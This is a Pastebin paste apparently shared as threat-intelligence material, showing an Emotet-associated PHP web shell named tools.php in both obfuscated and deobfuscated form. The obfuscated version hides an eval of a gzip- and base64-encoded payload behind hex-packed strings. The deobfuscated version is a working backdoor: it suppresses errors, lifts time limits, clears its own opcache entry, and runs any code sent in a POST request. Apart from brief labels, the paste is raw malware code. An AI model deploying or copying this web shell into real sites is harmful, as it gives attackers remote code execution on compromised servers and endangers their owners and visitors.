1ZRR4H

#EMOTET tools.php

Feb 22nd, 2019
896
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ############################################
  2.  
  3. Obfuscated #EMOTET tools.php
  4.  
  5. <?php
  6. function fn5c59d5d3d4a16($s) { $x = ''; for ($i = 0, $n = strlen($s); $i < $n; $i += 2) { $x .= pack('H*', substr($s, $i, 2)); } return $x; }$n5c59d5d3d4a4c=fn5c59d5d3d4a16('6576616c28677a696e666c617465286261736536345f6465636f64652822');$n5c59d5d3d4a72=fn5c59d5d3d4a16('222929293b');eval($n5c59d5d3d4a4c . 'fZDdbtQwEIVfZS6q2pESlC3lZ4Ny1QYK6qpld6mEELJce5K1SOzIdlAK4t2ZBO1qAbWKL+I553wzY/TeeeGxdz4a2/A8eQMBo4imQ9GazsS5ZKwRVOask6PAEdUQjbOzi6XwtwM75x/+ZEnLFiTuUGr0nFVjbzyGArYDUmwBH6SFxfJVDnlezAferbbsKHEtQ8xWTpvaoC6AwTNoOi0jcnaZgoYVfIarwhSBJSSxf+MXUu0wu3A2etcWYF0WovPUm/7UpKXQDdTB43fZmolLBTlmssEyfwLUOwpRRX0r8xR6j/sLbVzLNuBR9NbLppPFoeWENTXwerBqfkUcTYiBM9fPujBBBOVNH8V817Ta6Sk8brf72VmSwM+Z/RiKC/H2/XUlxOz8n3DQU4h+mLb4Rd9EPBGban1Xrb+wdfXxU7XZilW1vbq5ZF+hLEtgtzcbenmCnoRev66Xy3MoQXovH0TYmToSYLIQkQwvVH5WPyeD8khdxX43zuj9mh/G1u00zL0M+PJcaFROIz+Ak+SYwqchfwM=' . $n5c59d5d3d4a72);
  7. /* adeb4121995c6856fe473b8694637596386557f7 */
  8.  
  9. ############################################
  10.  
  11. Deobfuscated #EMOTET tools.php
  12.  
  13. <?php error_reporting(0);
  14. set_time_limit(0);
  15. ini_set('max_execution_time', 0);
  16. ini_set('memory_limit', -1);
  17. header('Expires: Tue, 01 Jan 1970 00:00:00 GMT');
  18. header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
  19. header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
  20. header('Cache-Control: post-check=0, pre-check=0', false);
  21. header('Pragma: no-cache');
  22. if (function_exists('opcache_is_script_cached') && function_exists('opcache_invalidate')) {
  23.     if (opcache_is_script_cached(__FILE__)) {
  24.         opcache_invalidate(__FILE__, true);
  25.     }
  26. }
  27. if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  28.     $spd8f994 = array_shift($_POST);
  29.     $sp5c02f3 = create_function('', gzinflate(base64_decode($spd8f994)));
  30.     $sp5c02f3();
  31. }
  32.  
  33. ############################################
RAW Paste Data